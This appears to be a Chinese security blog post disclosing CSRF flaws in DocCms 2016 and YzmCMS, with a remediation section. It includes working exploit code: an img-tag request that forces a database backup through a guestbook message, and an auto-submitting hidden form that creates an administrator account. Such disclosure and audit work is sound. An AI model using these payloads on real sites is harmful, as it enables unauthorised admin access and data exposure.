00
前言
CSRF(Cross-site request forgery)跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站,这边分享两个漏洞代码示例。
01
实例一:利用CSRF备份数据库
环境搭建:
DocCms官网:http://www.doccms.com
程序源码:DocCms2016
下载地址:https://pan.baidu.com/s/1pLclifL
代码分析:
在\doccms\admini\controllers\system\back.php中,
export函数直接对提交上来的参数tables/sizelimit进行处理,导出sql备份文件,未对访问来源进行有效验证,导致数据库备份模块存在CSRF漏洞。
漏洞利用:
1、构造CSRF漏洞利用代码,只备份管理员用户表doc_user:
<H2> CRSFTester</H2>
<img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=开始备份数据"
width="0"
height="0"
border="0"/>
2、在网站首页在线留言提交CSRF漏洞利用代码:
3、当管理员在后台查看留言信息时,自动备份数据库到/doccms/temp/data目录下:
02
实例二:利用CSRF添加管理员
环境搭建:
YzmCMS官网:http://www.yzmcms.com
程序源码下载:http://pan.baidu.com/s/1pKA4u99
代码分析:
漏洞文件位置: /application/admin/controller/admin_manage.class.php第35-59行中:
这段函数中进行添加管理员操作,只进行管理员身份验证,未对访问来源进行识别,导致程序在实现上存在CSRF漏洞。
漏洞利用:
1、构造CSRF漏洞利用代码如下:
1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
2.
3. <html>
4. <head>
5. <title>OWASP CRSFTester Demonstration</title>
6. </head>
7. <body onload="javascript:fireForms()">
8. <script language="JavaScript">
9. var pauses = new Array( "68" );
10.
11. function pausecomp(millis)
12. {
13. var date = new Date();
14. var curDate = null;
15.
16. do { curDate = new Date(); }
17. while(curDate-date < millis);
18. }
19.
20. function fireForms()
21. {
22. var count = 1;
23. var i=0;
24.
25. for(i=0; i<count; i++)
26. {
27. document.forms[i].submit();
28.
29. pausecomp(pauses[i]);
30. }
31. }
32.
33. </script>
34. <H2>OWASP CRSFTester Demonstration</H2>
35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html">
36. <input type="hidden" name="adminname" value="admin"/>
37. <input type="hidden" name="password" value="abc123!"/>
38. <input type="hidden" name="password2" value="abc123!"/>
39. <input type="hidden" name="email" value=""/>
40. <input type="hidden" name="realname" value=""/>
41. <input type="hidden" name="roleid" value="1"/>
42. <input type="hidden" name="dosubmit" value="1"/>
43. </form>
44. </body>
45. </html>
2、当管理员浏览该页面时,自动创建管理员账号admin
3、利用admin账号可成功登录后台进行任意操作。
03
修复建议
在服务端的防御,如验证HTTP Referer字段、在请求地址中添加token并验证、在HTTP头中自定义属性并验证。
04
END
不少CMS缺少对代码安全的考虑,CSRF仍然是一个普遍存在的安全问题。一些企业网站类型的CMS,利用CSRF备份数据、添加管理员等操作,都是很常见的漏洞场景。
Bypass
About Me
一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。